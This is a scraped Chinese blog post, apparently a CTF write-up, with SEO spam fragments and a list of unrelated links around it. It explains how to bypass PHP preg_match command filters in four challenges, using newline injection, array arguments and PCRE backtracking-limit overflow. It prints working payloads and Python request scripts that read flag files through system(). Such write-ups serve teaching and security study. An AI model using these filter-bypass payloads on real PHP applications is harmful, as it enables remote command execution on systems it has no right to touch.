当前位置: 首页 > news >正文

网页托管服务是什么肇庆seo外包服务

网页托管服务是什么,肇庆seo外包服务,2024近期时事热点素材,广州网站优化排名哪家好目录 ①[FBCTF 2019]rceservice ②[ctfshow]web130 ③[ctfshow]web131 ④[NISACTF 2022]middlerce 简单回顾一下基础 参考文章 p牛神文 preg_match绕过总的来讲就三块可利用 数组绕过、PCRE回溯次数限制、换行符 ①[FBCTF 2019]rceservice 先贴出附件给的源码 htmlbodyh1Web Adminstration Interface/h1?phpputenv(PATH/home/rceservice/jail);if (isset($_REQUEST[cmd])) {$json $_REQUEST[cmd];if (!is_string($json)) {echo Hacking attempt detectedbr/br/;} elseif (preg_match(/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-\[-|~\x7F]).*$/, $json)) {echo Hacking attempt detectedbr/br/;} else {echo Attempting to run command:br/;$cmd json_decode($json, true)[cmd];if ($cmd ! NULL) {system($cmd);} else {echo Invalid input;}echo br/br/;} }?formEnter command as JSON:input namecmd //form/body /html先进行一个命令的输 {cmd:ls} 这里用%0a绕过preg_match  {%0acmd:ls /home/rceservice%0a} 因为putenv(PATH/home/rceservice/jail);修改了环境变量所以只能使用绝对路径使用cat命令cat命令在/bin文件夹下 系统命令需要有特定的环境变量的也就是路径系统找不到该路径下的exe文件无法执行系统命令因此这个地方查阅资料后发现只能调用绝对路径下的命令cat命令就在/bin/目录下面 {%0acmd:/bin/cat /home/rceservice/flag%0a} 或者用PCRE回溯次数限制 import requestsurl http://node4.anna.nssctf.cn:28428/ data {cmd:{cmd:/bin/cat /home/rceservice/flag,r1:a*1000000} } rrequests.post(urlurl,datadata).text #使用post方法请求get方法会因为请求头过大而报错 print(r)②[ctfshow]web130 preg_match()其中的‘.’代表着匹配前面的单个字符‘’代表匹配一次或者是多次‘’代表重复一次或者多次尽可能的少重复大概就是匹配到*ctfshow*代表任意字符就会返回true stripos()函数不区分大小写返回子串在字符串中第一次出现的位置位置是从0开始的没有查找到返回FALSEstripos函数对于传递数组情况下返回值为NULLNULL!FALSE payload1: f[]1 payload2: import requestsurl http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/ data {f: very * 250000 ctfshow } r requests.post(urlurl, datadata).text print(r)③[ctfshow]web131 这里和上题不同的是对$f先进行了一个String强制类型转换 具体见此文 意思就是不能用数组绕过了 所以用用PCRE回溯次数限制 payload: import requestsurl http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/ data {f: very * 250000 36Dctfshow }r requests.post(urlurl, datadata).text print(r)④[NISACTF 2022]middlerce  和题①不能说一模一样只能说是如出一辙  payload: import requests url http://node4.anna.nssctf.cn:28848/ # 直接构造json串 data{cmd:?? nl /f*?;,overflow:-*1000000} res requests.post(urlurl,data{letter:data}) print(res.text) (因为有一些waf所以这样构造这里不深入讨论)
http://www.w-s-a.com/news/135694/

相关文章:

  • 网站单页品牌网站建设 蝌蚪5小
  • 怎么做外贸网站需注意哪些做电脑系统的网站
  • 网站建设介绍推广用语河南网站优化外包服务
  • 课程网站模板贵州省城乡与建设厅网站
  • 网站模板及源码谁家网站用户体验做的好
  • 做网站的技术要求搜索栏在wordpress菜单上位置
  • 如何给网站弄ftpwordpress怎么添加关键词描述
  • 成都工程建设信息网站金科网站建设
  • 传媒公司 网站开发厦门网站建设门户
  • 宿城区建设局网站做网站的绿色背景图
  • 网站空间托管合同 .doc网站开发团队 组建
  • 网站建设书本信息it运维服务
  • 四核网站建设设计网站流程
  • ui设计网站设计与网页制作视频教程wordpress插件漏洞利用
  • 网站建设公司排名前十做网站的最终目的
  • 选择网站开发公司的标准中国网站建设市场规模
  • 衣服网站建设策划书广州住房和城乡建设部网站
  • 微商城科技淄博网站建设优化seo
  • 杭州 网站设计制作东圃手机网站开发
  • 网站文章页内链结构不好可以改吗微信平台如何开发
  • 炫酷业务网站课程网站如何建设方案
  • 网站建设服务器可以租吗wordpress微信打赏
  • 网站制作的重要流程图大连网站优化快速排名
  • 河南省住房建设厅官方网站注册公司邮箱需要什么
  • 美橙网站注册华为手机网站建设策划方案论文
  • 河南省和建设厅网站首页在线图片翻译
  • 关于备案空壳网站清理通知去别人网站挂黑链
  • 做网站待遇世界购物平台排行榜
  • 售后服务网站什么网站免费做简历模板
  • 网站模板怎么修改成都网站优化seo